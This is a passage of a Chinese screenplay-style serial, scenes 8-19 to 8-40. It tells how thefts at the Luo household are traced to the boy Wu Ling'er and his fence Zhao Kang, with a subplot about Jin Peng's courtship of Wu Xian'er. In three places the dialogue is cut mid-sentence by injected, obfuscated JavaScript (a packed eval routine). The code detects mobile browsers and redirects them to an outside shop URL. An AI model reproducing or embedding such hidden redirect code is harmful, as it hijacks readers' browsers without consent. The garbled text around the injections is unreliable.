伍灵儿:我姐夫在这里当大官儿…… 余守泰:(急忙捂住他的嘴)不是说了让你别乱叫吗?你若真想帮你姐夫,首先得学会低调! 73. 第八篇 桂先生的药 梁州,凤凰城 8-19 天地会总会,恩威堂,顾云飞的屋子(夜,内) 人物:顾云飞、洛宁 顾云飞在泡茶,洛宁用手撑着头,盯着他的手发呆。 洛宁:家里最近遭了贼,你知道吗? 顾云飞:嗯,有所耳闻。 洛宁:怎么回事? 顾云飞:为何问我? 洛宁:你不是恩威堂的老大吗? 顾云飞:我只管你们的安全,不管丢东西。 洛宁:丢东西也很不安全呀! 顾云飞:(反问)总好过丢人吧? 洛宁:(撇撇嘴)唉,不用说,肯定是我姐告诉了无行大哥、无行大哥又告诉了你。 顾云飞:(抱怨)风无行的那张嘴可真讨厌,越是我不想知道的事,他越是要说。唉! 洛宁:要不你在恩威堂的门口挂个牌子,写上“风无行与猫不得入内”,怎么样? 顾云飞:(眉毛一挑)还有你呢? 洛宁:我打算今晚在这里住下了。 顾云飞:你说什么?!(手一抖,茶壶差点儿掉在地上) 洛宁:想我走也不难,只要你告诉我他是谁。 顾云飞:谁? 洛宁:那个偷东西的小贼! 顾云飞:我怎么会知道! 洛宁:你天天坐在家里,就像一根定海神针。那家伙何时来的、何时走的,你的心里最清楚! 顾云飞:(竟笑了起来)呵呵,行吧!你想住就住下吧,反正恩威堂里有的是空房子。 洛宁:为何要包庇他? 顾云飞:(抿了一口茶)唉,我得给某些人留点儿面子呀! 8-20 洛府,木兰小院,门前(夜,外) 人物:洛青、银华 洛青等了半天,也不见洛宁回来。 洛青:唉,这丫头哪儿去了?都这么晚了,怎么还没回来? 银华自对面走来。 洛青:(上前问)银华,看见宁儿了没? 银华:她在我们那里。 洛青:你去把她叫过来,我找她有点儿事。 银华:青姑娘,宁儿再怎么样也是你的妹妹,别什么事都赖在她的头上! 洛青:银华,你什么意思? 银华:我们老大说了,东西丢了应该去报官,让知县大人来查、让督察大人来查,任谁都行! 洛青:如果查来查去,最后发现是她干的,怎么办? 银华:如果不是她干的,怎么办? 洛青:你…… 银华:反正宁儿这几日都不在木兰小院,你若想找她,来恩威堂吧!哼!(说完转身走了) 8-21 洛府,洛青的屋子(夜,内) 人物:洛青、洛思思 从木兰小院回来后,洛青一直在生气。 洛青:连顾云飞都护着她,真是气死我了! 洛思思:要不等风堂主回来了,让他去恩威堂里问问。 洛青:有顾云飞给她撑腰,她才不会对他说实话呢! 洛思思:实在不行的话,咱们还是报官吧!这回丢的东西不少,若想一样一样都找回来,怕是不太容易。 洛青:明天我带人去搜木兰小院,我就不信抓不到她的把柄。如果被我发现有一样东西在她那里,我一定不会放过她!哼! 8-22 酒楼(夜,内) 人物:余守泰、伍灵儿 余守泰请伍灵儿在酒楼里吃饭。 伍灵儿:(狼吞虎咽)唔,好吃!真好吃!好久没有吃到这么好吃的东西了! 余守泰:伍灵儿,有件事我想问问你。 伍灵儿:什么事你说! 余守泰:上次我带你去天地会,你是不是偷拿了什么东西? 伍灵儿:什么东西? 余守泰:就像女人的珠钗、男人的扳指什么的。 伍灵儿:什么意思? 余守泰:唉,实话跟你说吧,最近会里有不少人丢了东西。 伍灵儿:余大哥,你是不是在怀疑我呀?你怎么跟我姐一样,只要出了什么事,首先就认为是我的不对呢?我想当一个好人,怎么就这么难呢? 余守泰:真不是你呀? 伍灵儿:我敢对天发誓,如果那些东西是我偷的,天打五雷轰! 余守泰:唉,那行,只要不是你偷的,我就放心了。 伍灵儿:余大哥,我姐夫什么时候回来呀? 余守泰:也就这两天吧。怎么了?有事呀?你以后想找他,别去天地会,告诉我就行了! 伍灵儿:我姐说,想请你们哥俩吃顿饭。 余守泰:她请我们?那多不好意思呀,还是让我来请你们吧! 伍灵儿:我姐说,酒楼里的东西太贵了,那么多人聚在一块儿、吃得不自在,她想自己在家做一顿,请你们哥俩去做客! 余守泰:你的意思是,她想请我们去你们家? 伍灵儿:对呀!就怕你们嫌我们家太寒酸了…… 余守泰:不不不!一点儿也不!等鹏子回来了,我这就带他过去!呵呵! 8-23 洛府,木兰小院,木兰花树下(日,外) 人物:洛青、洛思思、顾云飞、仆人若干 当洛青带着一帮丫鬟婆子气势汹汹地赶来木兰小院、准备把这里翻个底朝天时,却见顾云飞坐在木兰花树下,悠哉悠哉地喝着茶。 洛青:(意外)顾云飞? 顾云飞:(故作惊讶)呀,青姑娘?你一大早带着这么多人来这里干什么呀?噢,我明白了!你是不是见那丫头这几天不在这里,所以想把这里仔仔细细地打扫一下呀!啧啧,你这个□□的管家,想得可真是太周到了!我替那丫头谢谢你了! 洛青:顾堂主,您怎么也在这里? 顾云飞:那丫头昨晚一个劲儿地嚷嚷着要吃桃子,我记得木兰小院里好像有几棵桃树,所以过来瞧瞧。(指着洛青身边的几个丫鬟婆子)你们几个,去那边看看有没有,如果有的话,给我摘几颗大的过来! 丫鬟婆子:是! 那几个丫鬟婆子答应着去了,剩下的丫鬟婆子们悄声问洛青。 丫鬟婆子:大小姐,咱们还搜不搜呀? 洛青:(没好气地)顾云飞都来了,还搜什么呀? 丫鬟婆子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007420|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :那怎么办? 洛青:还能怎么办?他不是说让你们打扫木兰小院吗?快去干活吧! 丫鬟婆子:唉,好嘞! 丫鬟婆子们四散开来,着手打扫木兰小院。顾云飞也起身朝木兰小院的深处走去,想看看那几个丫鬟婆子把桃子摘好了没。 洛青:(问洛思思)是不是你给他报的信? 洛思思:青儿,恩威堂就在湖对面,你闹出这么大的动静,就算我不说,顾堂主也早就知道了。 洛青:你呀你,真是成事不足败事有余!哼!(说完气呼呼地走了) 8-24 酒楼(夜,内) 人物:洛思思、黄毅 黄毅约了洛思思在外吃饭。 洛思思:唉,怎么办呢?青儿非说是宁儿干的,天天去找她的茬,吓得宁儿躲进了恩威堂里,都不敢回木兰小院了。 黄毅:青姑娘这个人不是挺讲道理吗?怎么在这件事上,就变得蛮横不讲理了? 洛思思:我也不明白为什么。其实她对我、对欧阳兰兰、甚至对身边的丫鬟婆子们都十分客气,偶尔我们做错了什么事,只要不是太过分,她都能原谅我们。可不知为何,她对宁儿却非常严苛,不管她做对还是做错,她都不高兴。 黄毅:也许是因为大家都宠着宁儿,她的心里有些嫉妒吧。 洛思思:黄毅,你说这件事会不会是宁儿干的? 黄毅:(反问)她为何要这么干? 洛思思:对呀,我也想不通。平日里宁儿想要什么东西,就算她不说,她哥也会买给她。哪里用得着去偷呀? 黄毅:出了这么大的事,你姐又不肯报官,我们即使想帮忙也不敢呀! 洛思思:家丑不可外扬,青儿这个人最看重的就是面子了! 黄毅:所以她就死咬住宁儿不放?唉,要我说,这样做未免太偏执了些。 洛思思:如果这件事不是宁儿干的,会是谁呀? 黄毅:这个不好说。你们洛府上上下下这么多人,每天进进出出的人也非常多,不管是家里头的还是家外头的,都有可能。 洛思思:照你这么说,这件事岂不是很难查了? 黄毅:想进入洛府去调查确实很难,不过还有另一个办法。 洛思思:什么办法?你快说! 黄毅:贼偷了东西,当然要销赃,如果我们能查到那些赃物,不就能找到那个贼了吗? 洛思思:咦,对呀!要不我们明天去找找吧! 黄毅:上哪儿去找?凤凰城这么大,即使我们跑遍了每一个地方,也未必能找到。 洛思思:你的意思是他不在凤凰城里销赃?那会在哪里? 黄毅:我并没有说他不在凤凰城里销赃,只不过为了掩人耳目,也有去别处销赃的可能。 洛思思:照你这么说,我们想找到那些失物,岂不是如同大海捞针? 黄毅:(见洛思思着急,笑着安慰)甜妞儿,你不要忘了,我可是督察府的人,平日里经常与这类人打交道,略知一点儿门路。 洛思思:哦,什么门路? 黄毅:用我们老大的话说,道上的事,当然得去问问道上的人了。 74. 第八篇 桂先生的药 梁州,凤凰城 8-25 街道上(日,外) 人物:余守泰、金鹏 兄弟俩拎着大包小包的东西,在街上匆匆地走着。 金鹏:不过是吃顿便饭,用得着带这么多东西吗? 余守泰:头一回见面时,咱们不是忘记给人家仙儿姑娘买礼物了吗?趁着这回去他们家做客,正好给她补上! 金鹏:她弟弟偷咱们的钱呢?不打算还了吗? 余守泰:小不忍则乱大谋!等她成了你媳妇,他们家的东西不都归你了吗? 金鹏:唉,你可真会算啊! 8-26 伍仙儿和伍灵儿家(日,内) 人物:余守泰、金鹏、伍仙儿、伍灵儿 得知金鹏要来,伍仙儿刻意精心打扮了一番,清秀的模样,连金鹏也忍不住多看了几眼。 伍仙儿:(笑着打开门,将兄弟俩迎进屋里)余大哥、金公子,快进来吧!(见二人拎着大包小包的东西)余大哥、金公子,你们怎么这么客气呀?来都来了,还带这么多东西干嘛? 余守泰:那天你说要请我们哥俩吃饭的时候,我也忘了问你们姐弟俩喜欢什么,所以就在街上随便买了几样点心,也不知你们爱不爱吃。 伍灵儿:是吗?让我尝尝!(这就要打开礼盒,却被伍仙儿拦住) 伍仙儿:灵儿,你干什么呀?人家余大哥和金公子还没有吃,你吃什么呢? 余守泰:没事儿!他一个小孩子,正是长个头儿的时候,让他多吃些!嘿嘿! 伍灵儿:听见没?人家余大哥让我吃呢! 伍仙儿:余大哥、金公子,以后你们再来我们家的时候,千万别带东西了!老是让你们破费,怪不好意思的! 余守泰:这点儿钱算什么呀!以后你若跟鹏子成了亲…… 金鹏连忙干咳两声,打断了他的话。 伍仙儿:金公子,你的嗓子还没好吗?我煮了一锅枇杷水,这就给你端过来!(说着便去了厨房) 余守泰:(笑)鹏子,瞧见没?我就说人家仙儿姑娘贤惠嘛!上次我只稍稍提了一下,她便记在了心上,以后你若娶了她,我就不愁没人照顾你了。呵呵! 伍灵儿:姐夫!你别看我们家挺寒酸,可我姐这个人什么都会做!之前你们在酒楼里请我们吃过的那些东西,她样样都能给你们做出来,而且味道一点儿也不比酒楼里的差! 余守泰:听见没?鹏子,你有口福了。呵呵! 伍仙儿端来枇杷水,给每个人分了一碗,金鹏尝了尝,果然味道不错,对伍仙儿的印象也比之前好了许多。 伍仙儿:怎么样?合不合你们的口味儿? 伍灵儿:姐,以后你再煮东西的时候,能不能多放点儿糖啊?这也太淡了吧! 伍仙儿:我就知道你会这么说。(把糖罐递给伍灵儿)给,你自己加吧。金公子、余大哥,你们要不要? 金鹏/余守泰:(摆摆手)哦,不用了不用了!我们觉得挺好!挺不错的! 伍仙儿:那就好!灵儿,你陪余大哥和金公子坐会儿,我去厨房里准备饭菜。 伍灵儿:好嘞! 余守泰:仙儿,要不这样吧,你留下来跟鹏子说说话,我跟灵儿去做饭。 伍灵儿:我不去!我还想尝尝这些点心呢! 伍仙儿:余大哥,你们来我们家做客,我怎么好意思让你动手呢!还是我去吧! 余守泰:都快成一家人了,什么客不客的!我这个人天生爱动,你让我坐在这里,我还真不习惯!(冲伍灵儿使了个眼色)灵儿,走!咱俩去厨房! 伍灵儿:(会意)哦,好吧!余大哥,这边走! 余守泰和伍灵儿离开后,金鹏和伍仙儿相对而坐,都有些不好意思。 金鹏:那个……仙儿,这枇杷水你怎么不喝呀? 伍仙儿:哦,你们先喝,喝不完的话我再喝。 金鹏:要不你也吃些点心吧! 伍仙儿:哦,行吧。 见伍仙儿点头,金鹏急忙把礼盒放到她的面前。 金鹏:你尝尝看爱不爱吃,要是爱吃的话,下次我再多买些。 伍仙儿:这么多东西,我一个人哪里吃得完呀!金公子,要不你也一起吃吧! 金鹏:哦,好嘞!呵呵! 金鹏傻乎乎地笑着,见他这般模样,伍仙儿也红着脸笑了。 8-27 伍仙儿和伍灵儿家(日,内) 人物:余守泰、伍灵儿 余守泰和伍灵儿在厨房里忙乎着。 伍灵儿:余大哥,今儿我可是头一回下厨,若不是看在你的面子上,我才不来呢! 余守泰:你呀你,小小年纪,怎么这么懒呀?你姐可是你唯一的亲人,你是不是也该心疼一下她呀? 伍灵儿:不是还有我姐夫吗?有他在,不愁没人心疼她。 余守泰:话虽如此,但你将来不也要娶媳妇吗?总不能让媳妇来心疼你吧? 伍灵儿:男主外女主内,自古以来不都是这样吗?家里的活儿,她不干谁干呀? 余守泰:那我倒要问问你,你靠什么挣钱养家?小偷小摸吗?那种事能长久吗? 伍灵儿:不是说了我已经金盆洗手了吗?你怎么还提呀? 余守泰:小子,我可告诉你,你姐夫那个人眼里向来揉不进一粒沙,那种事你若不干也罢,你若敢再干,一旦被他发现,你就死定了! 伍灵儿:(不高兴地嘟哝)哼,还不是我姐夫呢,就敢对我吆五喝六,这要是真成了我姐夫,怕是没有我的活路了! 8-28 街道上(夜,外) 人物:余守泰、金鹏

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007421|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 回去的路上,金鹏的脸上一直挂着笑。 余守泰:怎么样?我就说这姑娘不错吧!正所谓天涯何处无芳草、何必单恋一枝花呢?她家不是木兰小院,你大可以天天去,没人会说你。等火候差不多了,咱们就把婚事给办了…… 金鹏:这样是不是有点儿太着急了? 余守泰:你哥我交往了那么多女人,从不曾遇上一个像她这么好的姑娘。你若不着急的话,小心被别人抢走了! 金鹏:可她弟弟…… 余守泰:等你俩成了亲,我再给她弟弟张罗一门婚事,一旦有人管着他,自然也就不会再皮了。 金鹏:你别光顾着我,也操心一下你自己呗! 余守泰:(叹口气)唉,我的缘分还没到呢! 8-29 天地会总会,恩威堂,顾云飞的屋子(日,内) 人物:顾云飞、风无行 望着顾云飞的黑眼圈,风无行忍不住笑了。 风无行:我听说那丫头搬过来跟你一起住了? 顾云飞:(白了他一眼)你怎么不去问问你媳妇呢?这不都是拜她所赐吗?我还就不明白了,当初你到底看上了她哪一点?简直是不可理喻! 风无行:女人嘛,不都是这副样子。那丫头一旦撒起泼来,比她更无理! 顾云飞:她霸占了我的屋子,把我赶去了西边的那个小房子里。有她在,我连觉都睡不成,得想个办法把她弄走才行! 风无行:在西边的那个小房子里就睡不成觉吗?我看这不是她的问题,而是你自己的问题。 顾云飞:(两眼一瞪)少废话!赶紧想办法! 风无行:你呀你,怎么又沉不住气了?要知道,有人比你还着急呢! 8-30 天地会总会,信义堂,洛宏的屋子(夜,内) 人物:洛宏、洛青 洛宏一回到家,便把洛青叫了过来。 洛宏:你别再去木兰小院了。 洛青:不去的话,怎么找回那些东西? 洛宏:不过是一些身外之物,丢了就丢了。 洛青:今儿丢一些,明儿又丢一些,后儿再丢一些。这样下去,咱们洛府成什么了? 洛宏:你带着那么多人去搜木兰小院,又算怎么回事? 洛青:你们若都觉得我错了,大可以去告诉爷爷。 洛宏:爷爷那个人,平生最见不得窝里斗,此事若闹去了他那里,你也占不到任何便宜。 洛青:(冷笑一声)窝里斗是吗?以往宁儿在我这里受了委屈,不都是来找你吗?怎么这回她却去了恩威堂? 洛宏:(沉下脸)你管得太多了! 洛宏的眼里射出寒光,洛青见了,浑身一抖,语气也跟着软了下来。 洛青:唉,罢了,你若不想我去,我便不再去了。 75. 第八篇 桂先生的药 梁州,凤凰城 8-31 酒楼(夜,内) 人物:黄毅、洛思思 一见到黄毅,洛思思便迫不及待地问。 洛思思:怎么样?你打听到了没? 黄毅:(点头)嗯。他们说,有一个名叫赵康的小混混,最近有一批东西,急着想要脱手。 洛思思:你看过了没?是不是咱们家丢的那些东西? 黄毅:还没有。我让他们试探了他几回,可他似乎挺谨慎,不肯轻易示人。 洛思思:那怎么办呀? 黄毅:别担心!一旦找到了人,还怕找不到东西吗?你且多给我几日,我一定把那些东西给你追回来! 洛思思:嘻嘻,黄毅,你可真是太了不起了! 8-32 小巷子(夜,外) 人物:伍灵儿、赵康 伍灵儿来时,赵康已经在等着他了。 伍灵儿:(急切地)怎么样?卖出去了没? 赵康:(垂头丧气)唉,没有。 伍灵儿:什么意思?那些东西可值钱了,他们不识货吗? 赵康:街上的店家都认识咱俩,怕是赃物,不敢揽这个活儿。黑子倒是问过我几回,可我担心他诓我,没敢卖给他。 伍灵儿:再不行的话,你去别处试试? 赵康:灵儿,要我说,这件事咱们得慎重些,那可是洛府的东西…… 伍灵儿:洛府怎么了?我告诉你,越是像他们这样的人家,遇上这样的事情,越是不敢声张,因为怕丢脸! 赵康:话虽这么说,可我的心里还是有点儿不太踏实。 伍灵儿:你尽管把心放进肚子里!跟你说句实话,我姐夫如今就在天地会里,大小还是个头儿,倘若被他们发现了,看在我姐夫的面子上,也不敢把咱俩怎么样。 赵康:真的吗?你姐不是还没出阁吗? 伍灵儿:迟早的事儿!你就等着瞧吧,骗你是小狗! 赵康:那行,我再去别处问问。 8-33 天地会总会,练武场(日,外) 人物:银华、何平、寒冰、弟子若干 球赛即将开始。 银华:金鹏怎么又没来?他以往不是这样啊! 何平:他只说有事,也没说有什么事,谁知道他天天在忙些什么呀! 寒冰:球赛要开始了,你俩不打算上场吗? 银华:我不上场的话,你打得过他们吗? 寒冰:金鹏不在,你想冲破他们三个人的防线,有点儿吃力哟! 银华:小爷我向来就是个独行侠,就算你们都不在,我一个人也能赢他们!哼! 梁州,紫蔚城 8-34 玉器店(日,内) 人物:黄毅、洛思思、玉器店老板 接到消息,黄毅带着洛思思来到玉器店里。 黄毅:就是这个扳指? 玉器店老板:正是。那小子说他家里遭了难、急等着用钱,所以才会便宜卖出去,我见他给的价钱十分合算,便买了下来,只是没想到这东西竟然是赃物。 黄毅:甜妞儿,你瞧瞧,这是不是你们家丢的东西? 洛思思:(仔细瞧了瞧扳指)我在二哥那里见到过一个一模一样的扳指,应该就是这个。 黄毅:应该? 洛思思:只有一个扳指,我不敢妄下定论,如果能多几样东西就好了。 黄毅:(问玉器店老板)除了这个扳指之外,还有别的吗? 玉器店老板:他只卖给了我这个,不过他说过几日还要再拿几样东西过来。 黄毅:还要来吗?那就好办了!老板,等他来了,你假装跟他讨价还价,先把他稳住,我的人就在这附近,争取能抓个现行。 玉器店老板:是,大人! 三日后,赵康果然又出现在玉器店里,就在他拿着赃物跟玉器店的老板做交易时,黄毅带着手下一拥而上,将他擒住。赵康被眼前突然出现的官差吓得屁滚尿流,很快便供出了他的同伙伍灵儿。 梁州,凤凰城 8-35 伍仙儿和伍灵儿家(夜,内) 人物:余守泰、金鹏、伍仙儿、伍灵儿 自打跟伍仙儿好上之后,金鹏便成了她家的常客,他的脸皮薄,每次来时都会叫上余守泰。这一日,兄弟俩正在跟姐弟俩一起吃饭。 伍灵儿:姐夫,自从你来我们家吃饭之后,我们家的伙食改善了不少呢!不说别的,就这碗鸡汤,以往我一个月还不一定能吃上一回,如今隔三差五地就能吃上一回。啧啧,真是太美了! 伍仙儿:这只鸡可是人家余大哥买的,你别光顾着吃,等你将来挣了钱,记得要好好地谢谢人家。 余守泰:咱们是一家人,说什么谢呀?等鹏子将来在天地会里干出一番事业,别说是鸡,就算是凤凰,咱们也能天天吃! 金鹏:你想吃凤凰,也不怕被毒死了? 余守泰:不怕!知道什么叫“一福压百祸”吗?人的好运气来了,甭管什么祸事,都拿他没办法! 有人敲门。 伍灵儿:这个时候?谁呀? 伍仙儿:你们先吃,我去看看。 伍仙儿过去打开门,却是一个身穿白衣的公子,带着一位姑娘和几个公差模样的人来了。 伍仙儿:请问你们是…… 黄毅:你是伍姑娘吧?你弟弟伍灵儿在不在? 伍仙儿:(不安地)你们……你们找他有事吗? 屋子里。 余守泰:咦,这声音怎么听上去有点儿耳熟?谁呀? 兄弟俩伸长脖子一看,顿时吃了一惊。 金鹏:黄公子? 黄毅:金鹏? 黄毅和洛思思也吃了一惊,他们没想到会在这里遇上金鹏和余守泰。 洛思思:金鹏,你怎么在这里?还有余大哥,你们兄弟俩这是怎么回事呀? 余守泰:哦,我们在这里吃顿便饭。 洛思思:你们在这里吃顿便饭? 余守泰:(指了指姐弟俩)那个……我们是亲戚。 黄毅:亲戚?金鹏、余大哥,既然你们是亲戚,我也就不瞒着你们了。 金鹏:什么事? 黄毅:(来到伍灵儿面前)你就是伍灵儿? 伍灵儿:(心虚)你们……你们想干嘛?我……我姐夫可是天地会的! 黄毅:那你为何要偷天地会的东西? 金鹏:(大吃一惊)什么?!(问伍灵儿)你偷了天地会的东西?那些东西是你偷的? 伍灵儿:我…… 黄毅:(对着金鹏)我们已经抓住了他的同伙,他向我们供述,整件事都是受了伍灵儿的指使。 金鹏:臭小子!我当那些东西是谁偷的,弄了半天是你!哼! 金鹏恼羞成怒,揪住伍灵儿便打,众人想拦都拦不住,只几下工夫,伍灵儿就被他打得鼻青脸肿。 伍灵儿:姐!救我!我要死了! 伍仙儿:灵儿!(哭着哀求)金公子,求求你!别打他了!别打他了! 众人好不容易才将金鹏拉开。 黄毅:金鹏,别冲动!等见了青姑娘再说吧! 金鹏的脸涨得通红,气得说不出话来。 8-36 天地会总会,客厅(夜,内) 人物:洛青、洛宁、金鹏、银华、余守泰、伍仙儿、伍灵儿、黄毅、洛思思 得知此事与兄弟俩有关,洛青的脸色变得十分难看。 余守泰:大小姐,这事怪我,是我带他进来的。 金鹏:你带他进来的?!(正欲发作,被银华拦住) 银华:金鹏,别这样!有话好好说! 洛宁:(从外面进来,边走边问)姐,我听说你们抓住了那个偷东西的小贼?谁呀? 见兄弟俩也在场,洛宁微微一怔,银华冲着她使了个眼色,她会过意来,走到他身边悄悄地问。 洛宁:怎么回事?怎么金鹏和余大哥也在这里? 银华:唉,别提了,这个小贼就是他俩招来的。 洛宁:(吃惊)啊?! 伍仙儿此时早已泪流满面,她跪在洛青的面前,苦苦地哀求。 伍仙儿:洛姑娘,对不起!全是我的错,是我没有管好自己的弟弟。求求您,看在他还是个孩子的份上,高抬贵手放过他吧! 金鹏:放过他?说得倒容易!你这个当姐姐的,知不知道自己的弟弟成天在外面干些什么?他已经不是头一回偷东西了! 伍灵儿:你冲着我姐吼什么呀?真以为你是我姐夫呀?我偷东西怎么了?我凭自己的本事吃饭,碍你什么事了? 伍仙儿:灵儿!别说了! 金鹏:(指着伍灵儿对众人)你们都听清楚了?这小子根本就不知悔改,再这样下去,早晚一天会被人打死! 伍灵儿:你刚才不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007422|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就打我了吗?(指着自己红肿的脸)你们瞧瞧!你们瞧瞧!是不是天地会的弟子就能随便打人呀? 金鹏:臭小子,你果然很欠揍!(撸起袖子这就要开打,被余守泰等人拦住) 余守泰:鹏子!鹏子!别冲动!这件事还是交给青姑娘来决断吧! 黄毅:是啊金鹏,还是问问青姑娘的意思吧! 金鹏:(指着伍灵儿对洛青)青姑娘,这小子没救了,你千万别放过他! 伍灵儿:你能把我怎样?不就是送去官府吗?二十年后,老子照样是条好汉! 金鹏:臭小子,我打死你!(又要冲上去,却听洛青一声吼) 洛青:够了!都别闹了! 众人被震住,纷纷安静了下来。金鹏瞪了伍灵儿一眼,也不再作声。 洛青:(叹口气)唉!伍姑娘,你弟弟这么小的年纪,怎么能干出这样的事情?就算我放过了他,他能保证出去之后,就不再干坏事了吗? 洛宁:说得没错,就不该放过他! 洛青:(呵斥)宁儿,闭嘴! 洛宁:难道不是吗?这孩子的年纪虽小,却是个惯犯,若不让他吃点儿苦头,日后怕是更难管教。 洛青:你怎么不说说你自己呢? 洛宁:你怎么什么事都往我身上扯呀?罢了,这件事我不管了,你爱怎样怎样吧!哼!(说完气呼呼地走了) 洛青看看伍仙儿、又看看伍灵儿,心中既有些不忍,又有些气不过。 黄毅:(见她犹豫不决)青姑娘,其实这件事未必非要闹去官府,你们也可以私下和解。 洛青:私下和解? 黄毅:嗯。只要他归还了失物,你也答应不再追究,这件事就算了了。 洛青:可督察府那边…… 黄毅:我是给甜妞儿帮忙,老大并不知道这件事。 洛青:哦,这样啊。那行吧!伍姑娘,念在你弟弟还小,我可以不把他送去官府…… 金鹏:青姑娘,你真打算这样做吗? 伍灵儿:你主子说话,你插什么嘴呀! 金鹏:臭小子!今儿就算青姑娘放过你,老子也不放过你! 金鹏扑上去就打,众人急忙上前拦阻,屋内乱作一团。 洛青:(无奈地摇了摇头,对着黄毅)快把这孩子带出去吧!再这样下去,怕是要闹出人命了!唉! 众人好不容易才将金鹏拉开,便让黄毅带着姐弟俩,匆匆地走了。 8-37 天地会总会,恩威堂,顾云飞的屋子(夜,内) 人物:顾云飞、洛宁 见洛宁躺在床上啃苹果,顾云飞气不打一处来。 顾云飞:臭丫头,贼已经抓住了,你怎么还赖着不走呀? 洛宁:我在这里住惯了,不打算走了。(话音刚落,人已被顾云飞从床上拽了起来)喂,你干什么?放开我!放开我! 顾云飞:臭丫头,立刻给我滚回你的木兰小院去!(把她往肩上一扛,走了出去) 8-38 天地会总会,恩威堂,门前(夜,外) 人物:银华、顾云飞、洛宁 洛宁不停地挣扎,奈何顾云飞根本不搭理。 洛宁:放我下来!放我下来!…… 刚走到恩威堂的门口,冷不防一道掌气袭来,顾云飞定睛一看,竟是银华。 顾云飞:(吼)臭小子,你他妈得了失心疯吗?连我都敢打? 银华:呀,是老大?我没看清楚…… 洛宁:(拍手大笑)哈哈!活该!活该!哈哈! 顾云飞:臭丫头,闭嘴!(对着银华)你小子身上怎么有一股子酒味儿?死哪儿去了? 银华:有吗?我好像喝得不多呀…… 顾云飞:喝得不多?你他妈还想喝多少?干脆喝死得了! 银华:不是呀,老大!金鹏心里不痛快,我陪他出去喝了两杯! 顾云飞:他愁嫁你也愁嫁呀?怎么一个个都跟疯了似的?给我滚回去,跪上三个钟头! 银华:啊!又要罚? 顾云飞:怎么?不服呀?那就五个钟头! 银华:不不不!我服!我服!我这就去跪!(一溜烟儿跑了进去) 顾云飞还觉得不解气,又在洛宁的屁股上狠狠地拍了几下。 洛宁:喂,你打我干嘛?他发酒疯,关我什么事呀? 顾云飞:你们两个没一个让我省心的!哼! 76. 第八篇 桂先生的药 梁州,凤凰城 8-39 天地会总会,和敬堂,金鹏和余守泰的屋子(夜,内) 人物:余守泰、金鹏 余守泰凑到金鹏身边,小心翼翼地说。 余守泰:鹏子,我听说仙儿病了,你要不要去看看她呀? 金鹏:不去!我跟她没戏! 余守泰:你瞧瞧你,何苦呢?伍灵儿是她的弟弟,你是我的弟弟。弟弟犯了错,哥哥姐姐哪有不护着的道理? 金鹏:她那是在护着他吗?她那是在害他! 余守泰:就算是在害他,也轮不到你来管呀!除非你是他姐夫…… 金鹏:不是说了我跟她没戏吗?你怎么还提呀?还嫌不够丢人吗? 余守泰:那件事怪我,你是被蒙在鼓里,大家都知道。 金鹏:我去相亲的事,大家不也都知道了吗?当初你是怎么答应我的? 余守泰:我哪知道会出这么一档子事呀!不过你别担心,人家宁姑娘根本不在意。 金鹏:什么意思? 余守泰:你跟她在一起这么久了,难道还没发现她一直把你们当成了她的兄弟姐妹吗? 金鹏:(先是皱起眉头,接着又笑了起来)是吗?呵呵,若能有一个这样的妹妹,也挺不错! 见金鹏的神色缓和,余守泰趁机道。 余守泰:话虽这么说,可仙儿对你却是真心实意的。你看你每回去她家,她不都是笑脸相迎吗?你喜欢吃什么、喝什么,用不着我说,她都一清二楚,比我这个当哥哥的还要仔细。这么好的姑娘,你若错过了,真是太可惜了! 金鹏:我对仙儿倒是没什么不满,可她那个弟弟……唉,我怕我去了,会忍不住想揍他! 余守泰:你这个暴脾气,不是说改了吗?怎么又变回去了? 金鹏:这是小事吗? 余守泰:得得得,我明白!你正在气头上,要不这样,我先替你去看看她,等日后你的心情好点儿了,再去也不迟! 8-40 伍仙儿和伍灵儿家(日,内) 人物:伍仙儿、伍灵儿、余守泰 伍仙儿病恹恹地躺在床上,眼睛却一直盯着门口,伍灵儿端着药从外面进来,见她这般模样,没好气地说。 伍灵儿:姐!你别看了,他们不会来了! 伍仙儿:这件事不是金公子的错,他就算是怪我,我也不怨他。 伍灵儿:可他打了我,我就是恨他!日后我若见了他,非把他狠狠地揍一顿不可! 伍仙儿:你这孩子,怎么这么不懂事呀?你打得过他吗?别再给我惹事了! 伍灵儿:我现在虽然打不过他,但我将来肯定能打得过他。哼,走着瞧吧! 伍仙儿:唉,你呀你,怎么就不听劝呢? 伍仙儿说着便咳嗽起来,伍灵儿忙上前给她拍背,就在这时,外面响起了敲门声。 伍仙儿:(腾地一下坐起来)谁呀?灵儿,你快去看看! 伍灵儿:姐,你就死了这条心吧!就算有人来了,也肯定不是他们! 伍灵儿过去开门,见是余守泰。 